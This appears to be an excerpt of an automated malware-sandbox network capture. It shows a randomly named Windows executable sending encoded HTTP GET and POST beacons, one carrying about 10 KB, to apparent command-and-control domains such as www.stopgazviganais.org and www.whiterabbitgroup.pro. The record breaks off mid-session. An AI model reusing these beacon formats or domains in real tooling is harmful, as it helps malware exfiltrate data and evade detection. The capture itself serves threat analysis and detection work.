Oct 19, 2024 12:58:33.656622887 CEST	587	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYTZiMzhjZWQtNWNlMi00ZWMzLTk3YTItNGI1ZDczNDg0YTAwIiwicGFnZV90aW1lIjoxNzI5MzM1NT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50031	199.59.243.227	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:35.516201973 CEST	599	OUT	GET /axh7/?2BWDG=GVKSBocRMS2FyqXHPjOj9+OrOzTrYXMr5CJl/TLorgfRhIZbevfCFnb7jtSuw/m1FqikvKjm63UqVHDKIE9/vbA5AM47cN5qZi+S7x4iOYPaiZ0KOepXdRg=&wfm=G6oTo8vx HTTP/1.1 Host: www.662-home-nb.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:58:36.149228096 CEST	1236	IN	HTTP/1.1 200 OK date: Sat, 19 Oct 2024 10:58:35 GMT content-type: text/html; charset=utf-8 content-length: 1470 x-request-id: ad4b6f1c-a2f8-4c35-9ee3-b0989c10458c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cqqngY63WrEuSE1lE3W5vFDJ3GZFuVrC4ja9FZiTv+6MNyJUCywvbTiqXkMcfVutoxFYuuSmB/y84brKDGPVPw== set-cookie: parking_session=ad4b6f1c-a2f8-4c35-9ee3-b0989c10458c; expires=Sat, 19 Oct 2024 11:13:36 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 63 71 71 6e 67 59 36 33 57 72 45 75 53 45 31 6c 45 33 57 35 76 46 44 4a 33 47 5a 46 75 56 72 43 34 6a 61 39 46 5a 69 54 76 2b 36 4d 4e 79 4a 55 43 79 77 76 62 54 69 71 58 6b 4d 63 66 56 75 74 6f 78 46 59 75 75 53 6d 42 2f 79 38 34 62 72 4b 44 47 50 56 50 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cqqngY63WrEuSE1lE3W5vFDJ3GZFuVrC4ja9FZiTv+6MNyJUCywvbTiqXkMcfVutoxFYuuSmB/y84brKDGPVPw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 19, 2024 12:58:36.149247885 CEST	923	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYWQ0YjZmMWMtYTJmOC00YzM1LTllZTMtYjA5ODljMTA0NThjIiwicGFnZV90aW1lIjoxNzI5MzM1NT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50032	172.67.196.90	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:41.305579901 CEST	884	OUT	POST /9ect/ HTTP/1.1 Host: www.stopgazviganais.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.stopgazviganais.org Referer: http://www.stopgazviganais.org/9ect/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 5a 39 44 35 72 33 4e 72 47 38 4d 4b 4f 2b 5a 63 37 32 67 2b 5a 2f 7a 71 41 6f 6d 59 76 74 6d 32 4b 44 79 44 32 47 5a 5a 4c 77 30 78 45 59 49 4f 66 50 53 6b 43 39 37 46 54 51 35 71 38 35 50 4b 44 4f 71 6d 70 2b 71 6f 70 46 45 34 70 67 77 33 72 76 4a 57 45 6f 2b 6f 32 36 73 63 52 46 35 71 47 73 64 4f 32 48 58 73 66 34 65 72 55 57 31 6c 66 78 6d 6c 6f 72 53 61 74 6a 46 39 43 52 4d 77 47 72 68 4e 45 4e 62 67 52 35 30 72 38 67 69 33 4b 58 38 50 6c 74 6c 4c 4d 4b 6a 45 7a 55 67 30 67 4d 44 44 37 70 71 42 55 38 70 6f 59 49 37 4a 77 36 49 71 38 72 2b 73 6e 75 30 70 69 46 77 62 76 41 3d 3d Data Ascii: 2BWDG=Z9D5r3NrG8MKO+Zc72g+Z/zqAomYvtm2KDyD2GZZLw0xEYIOfPSkC97FTQ5q85PKDOqmp+qopFE4pgw3rvJWEo+o26scRF5qGsdO2HXsf4erUW1lfxmlorSatjF9CRMwGrhNENbgR50r8gi3KX8PltlLMKjEzUg0gMDD7pqBU8poYI7Jw6Iq8r+snu0piFwbvA==
Oct 19, 2024 12:58:41.958129883 CEST	995	IN	HTTP/1.1 301 Moved Permanently Date: Sat, 19 Oct 2024 10:58:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.mothersalwaysright.com/9ect/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3028TEBOD%2BfZa2PtU7SRgXovEwfDNtHlQckN7jxzU2T7iu9ydk5EZwJC8ADbDYk%2Fd2Tpa10uMfktujQjlqNwnyfb6PCoXFKOnfnxTkq6TcFFYJEUQBCLFlmijRbteKq30mNUL8u329E5hw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5041238b962e69-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1547&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=884&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 65 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2d 72 63 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: ae<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx-rc/1.25.3.2</center></body></html>
Oct 19, 2024 12:58:41.958148003 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50033	172.67.196.90	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:43.851504087 CEST	904	OUT	POST /9ect/ HTTP/1.1 Host: www.stopgazviganais.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.stopgazviganais.org Referer: http://www.stopgazviganais.org/9ect/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 5a 39 44 35 72 33 4e 72 47 38 4d 4b 50 64 52 63 36 52 55 2b 65 66 7a 74 4d 49 6d 59 6c 4e 6d 36 4b 44 32 44 32 48 64 33 4c 69 51 78 46 39 73 4f 65 4f 53 6b 50 64 37 46 62 77 35 72 7a 5a 50 44 44 4f 32 75 70 2f 57 6f 70 45 6b 34 70 6b 34 33 71 59 56 52 46 34 2b 71 71 36 73 61 4f 31 35 71 47 73 64 4f 32 48 53 48 66 38 79 72 55 6d 46 6c 65 56 4b 6d 30 62 53 5a 6c 44 46 39 52 42 4d 38 47 72 68 6a 45 4d 32 31 52 36 4d 72 38 67 53 33 4c 45 6b 4f 2f 39 6b 43 42 71 69 45 2b 32 46 4d 35 75 4c 4a 6c 65 44 6d 4a 2f 31 62 64 4f 71 54 68 4c 70 39 75 72 61 66 36 70 39 64 76 47 4e 53 30 4d 58 52 6e 46 68 6f 68 34 4f 55 48 64 4b 6f 5a 53 5a 53 59 39 59 3d Data Ascii: 2BWDG=Z9D5r3NrG8MKPdRc6RU+efztMImYlNm6KD2D2Hd3LiQxF9sOeOSkPd7Fbw5rzZPDDO2up/WopEk4pk43qYVRF4+qq6saO15qGsdO2HSHf8yrUmFleVKm0bSZlDF9RBM8GrhjEM21R6Mr8gS3LEkO/9kCBqiE+2FM5uLJleDmJ/1bdOqThLp9uraf6p9dvGNS0MXRnFhoh4OUHdKoZSZSY9Y=
Oct 19, 2024 12:58:44.515961885 CEST	1000	IN	HTTP/1.1 301 Moved Permanently Date: Sat, 19 Oct 2024 10:58:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.mothersalwaysright.com/9ect/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f6vk5PH5w0mwcxCMBRHhFZ6JZLjpgXqUYwLfqTyhPpfzboOBhJVdQOX2A6HCc4rEIGfMR%2BVfXiNoNzpavRCicbJ1I4OTYQ2XmKnl84nLwRePSzeXRrKAgpYAeP%2Bj7IoM7eOapw5Ltz5GXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5041338c483172-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1465&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=904&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 65 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2d 72 63 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: ae<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx-rc/1.25.3.2</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50034	172.67.196.90	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:46.396898985 CEST	10986	OUT	POST /9ect/ HTTP/1.1 Host: www.stopgazviganais.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.stopgazviganais.org Referer: http://www.stopgazviganais.org/9ect/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 5a 39 44 35 72 33 4e 72 47 38 4d 4b 50 64 52 63 36 52 55 2b 65 66 7a 74 4d 49 6d 59 6c 4e 6d 36 4b 44 32 44 32 48 64 33 4c 69 59 78 46 4f 55 4f 66 74 4b 6b 4f 64 37 46 56 51 35 75 7a 5a 4f 44 44 4f 75 71 70 2f 62 54 70 42 67 34 6f 44 34 33 74 70 56 52 50 34 2b 71 79 36 73 66 52 46 35 7a 47 73 4e 4b 32 48 43 48 66 38 79 72 55 6c 4e 6c 49 78 6d 6d 6e 4c 53 61 74 6a 46 35 43 52 4e 72 47 72 70 56 45 4d 7a 4f 52 4c 73 72 38 41 43 33 48 57 38 4f 6e 74 6b 41 43 71 69 71 2b 32 35 54 35 75 57 32 6c 62 2b 42 4a 34 64 62 63 72 54 33 39 75 49 6e 79 34 47 34 73 70 4e 66 30 32 42 4a 38 73 58 58 6f 46 39 48 31 62 43 30 4e 50 44 73 49 54 64 6f 50 4a 70 42 6a 38 55 32 42 47 64 76 6b 6d 50 6d 5a 47 63 35 4f 6a 62 34 69 68 4a 4a 7a 59 68 4b 46 70 4a 66 49 7a 45 74 44 54 78 6d 45 5a 30 46 39 64 59 30 2f 32 6f 59 53 4f 69 71 51 56 56 42 47 37 47 54 58 4d 54 53 58 70 6d 65 66 63 5a 61 4a 62 31 32 67 4d 77 76 66 57 76 75 62 32 33 43 50 6b 30 4b 51 44 6b 4d 70 71 59 6b 65 6a 72 73 36 37 42 67 6f 79 36 39 [TRUNCATED] Data Ascii: 2BWDG=Z9D5r3NrG8MKPdRc6RU+efztMImYlNm6KD2D2Hd3LiYxFOUOftKkOd7FVQ5uzZODDOuqp/bTpBg4oD43tpVRP4+qy6sfRF5zGsNK2HCHf8yrUlNlIxmmnLSatjF5CRNrGrpVEMzORLsr8AC3HW8OntkACqiq+25T5uW2lb+BJ4dbcrT39uIny4G4spNf02BJ8sXXoF9H1bC0NPDsITdoPJpBj8U2BGdvkmPmZGc5Ojb4ihJJzYhKFpJfIzEtDTxmEZ0F9dY0/2oYSOiqQVVBG7GTXMTSXpmefcZaJb12gMwvfWvub23CPk0KQDkMpqYkejrs67Bgoy69GH8kbNBO/MQWYVb7eL4qAnDPVmF0C19rVRItJOoNmumVwjNze/MWXoq8yZcJ/kmTx/k9eqDut3aMma9Muu4K6Dq1VUM6BKhi2hC/MP7Stp+k6GigT8DQKNagPlqH0EGguPZ4jCmMqyltwd6HhM+bhKkoQWi4muazxBbSiFPGzCmST0OkmOPuMsjza/Q2qsWH17VX/mf4OL4zl27I1FyAHhThn6rzYtGEwEy9SbRm8zy2cmflkc7qzefkYVEeBM8KAYxbJYJ58sU/4GSmvF3qiBIobeOYPQihDhkvw2ZLTdNWjjh/QNGZkonm7XJi3hAYYP/yOFJwKkm4K5dK/gTWN2d+Pml4JP20iBUzI9Sd7l6HpAWGGYuv94/YOkOXogSdAwvK7gWGuSdv1kqAsiAXG7EwHNhp5ScIwxtLJSR2BNdkomWeuCZJ38qDwr1tCtBG/nRunuc4p2oI56pQzpXORSmAMAaZdyrKZo8GR4d0vHgGhZNRqyDDDy3z+JKIA926ZUKDRzJfdAagIU4PohjFaEjWksgNmJCmgJTbkhv/onVg3i+4aTeYZFQez6MNM6okhWa5gubAADPd1zJQByiNoJsLK2yZmD99zgT4JFsBaOK6lVxSfcuUqgWh9jjdrvkKIjPRE0sXznhpm1lKgOwHNGcw7UQCk4buTY [TRUNCATED]
Oct 19, 2024 12:58:47.125828028 CEST	1003	IN	HTTP/1.1 301 Moved Permanently Date: Sat, 19 Oct 2024 10:58:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.mothersalwaysright.com/9ect/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sOX1nFHWjyzJdxFWG8TH3o6OrcQ3AuWgDz9xRtO06zcKP4R5%2BGC1vZJXaFw2z9lZBF6zPSWgXJ4zRqxz8iwJYwpYVUUw9ESCcRDZO%2BDm9Is2miljqt3ktpv55Zy2NjH0sHbq5QLccMQ65w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5041436f127d5d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1043&sent=6&recv=12&lost=0&retrans=0&sent_bytes=0&recv_bytes=10986&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 65 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2d 72 63 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: ae<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx-rc/1.25.3.2</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50035	172.67.196.90	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:48.941499949 CEST	602	OUT	GET /9ect/?2BWDG=U/rZoA1baL0SL+0w4EIlW/PNU4WGlNOJMCqR5hBTWTt3GNoAWeGWO/yRUixBoPW1Dvb67sqohAoonSA3rpdCYc2/1Z8mRmloUf5F40vQT8nvaVFEdkWR3Yo=&wfm=G6oTo8vx HTTP/1.1 Host: www.stopgazviganais.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:58:49.609735966 CEST	963	IN	HTTP/1.1 301 Moved Permanently Date: Sat, 19 Oct 2024 10:58:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.mothersalwaysright.com/9ect/?2BWDG=U/rZoA1baL0SL+0w4EIlW/PNU4WGlNOJMCqR5hBTWTt3GNoAWeGWO/yRUixBoPW1Dvb67sqohAoonSA3rpdCYc2/1Z8mRmloUf5F40vQT8nvaVFEdkWR3Yo=&wfm=G6oTo8vx cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VQv6be%2FVwNVV3m2giCZumwGooXdO6F1QRiLvH%2F3YizyGzonjs7InLlh%2B5Ba7EjXeu%2BYd9rJGNjavDJMS%2BicC%2FW3nG2Iy4xGA1i49iSzKvChKxzJdrOJurXmgJa6AoExrQBWSm1A1irTjhQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5041535a5e6b64-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2284&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=602&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
Oct 19, 2024 12:58:49.609761000 CEST	185	IN	Data Raw: 61 65 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: ae<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx-rc/1.25.3.2</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50036	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:54.679333925 CEST	887	OUT	POST /o6ua/ HTTP/1.1 Host: www.whiterabbitgroup.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.whiterabbitgroup.pro Referer: http://www.whiterabbitgroup.pro/o6ua/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 43 76 4d 30 64 47 52 64 49 47 6a 6d 4f 75 47 4d 4d 72 61 69 7a 33 4e 50 41 75 65 66 74 72 63 47 6f 51 45 64 49 31 50 6d 4b 56 6e 46 4c 39 56 67 67 45 6e 46 47 67 61 55 38 41 79 70 42 47 71 57 33 54 4a 4d 47 5a 78 76 67 67 5a 6a 47 2b 59 77 55 30 6e 47 56 4e 58 79 4c 38 56 53 47 49 6a 61 4d 71 4e 6b 63 47 7a 41 62 7a 79 43 51 36 61 6f 55 63 72 59 48 6e 44 56 61 53 35 56 43 72 34 75 44 34 6f 38 56 78 44 4f 56 50 64 4e 66 59 48 47 41 52 6a 59 33 2f 59 4f 34 37 59 50 79 77 72 57 63 6a 52 30 73 50 48 44 46 4a 56 41 4b 5a 54 50 68 66 54 42 2b 37 69 63 4a 38 32 55 2b 72 71 6d 71 67 3d 3d Data Ascii: 2BWDG=CvM0dGRdIGjmOuGMMraiz3NPAueftrcGoQEdI1PmKVnFL9VggEnFGgaU8AypBGqW3TJMGZxvggZjG+YwU0nGVNXyL8VSGIjaMqNkcGzAbzyCQ6aoUcrYHnDVaS5VCr4uD4o8VxDOVPdNfYHGARjY3/YO47YPywrWcjR0sPHDFJVAKZTPhfTB+7icJ82U+rqmqg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50037	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:57.223731995 CEST	907	OUT	POST /o6ua/ HTTP/1.1 Host: www.whiterabbitgroup.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.whiterabbitgroup.pro Referer: http://www.whiterabbitgroup.pro/o6ua/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 43 76 4d 30 64 47 52 64 49 47 6a 6d 4d 4f 57 4d 4f 49 79 69 34 33 4e 4d 46 75 65 66 6a 4c 63 43 6f 51 41 64 49 30 4c 32 4b 44 33 46 4c 64 6c 67 68 46 6e 46 46 67 61 55 7a 67 79 6f 63 57 71 72 33 54 4d 78 47 64 31 76 67 67 4e 6a 47 2b 6f 77 55 44 37 5a 55 64 58 77 45 63 56 51 4c 6f 6a 61 4d 71 4e 6b 63 43 69 6c 62 7a 71 43 51 4b 71 6f 55 39 71 4f 5a 33 44 53 51 79 35 56 47 72 34 71 44 34 6f 65 56 77 66 6f 56 4d 6c 4e 66 63 4c 47 41 45 65 4f 69 50 59 49 31 62 5a 4c 7a 46 65 67 62 52 6b 38 6c 2b 48 34 4e 72 46 45 47 2f 43 56 77 75 79 57 73 37 47 76 55 37 2f 67 7a 6f 58 76 78 6c 67 42 76 75 6d 41 72 4b 69 79 63 70 75 75 2f 46 67 36 55 63 77 3d Data Ascii: 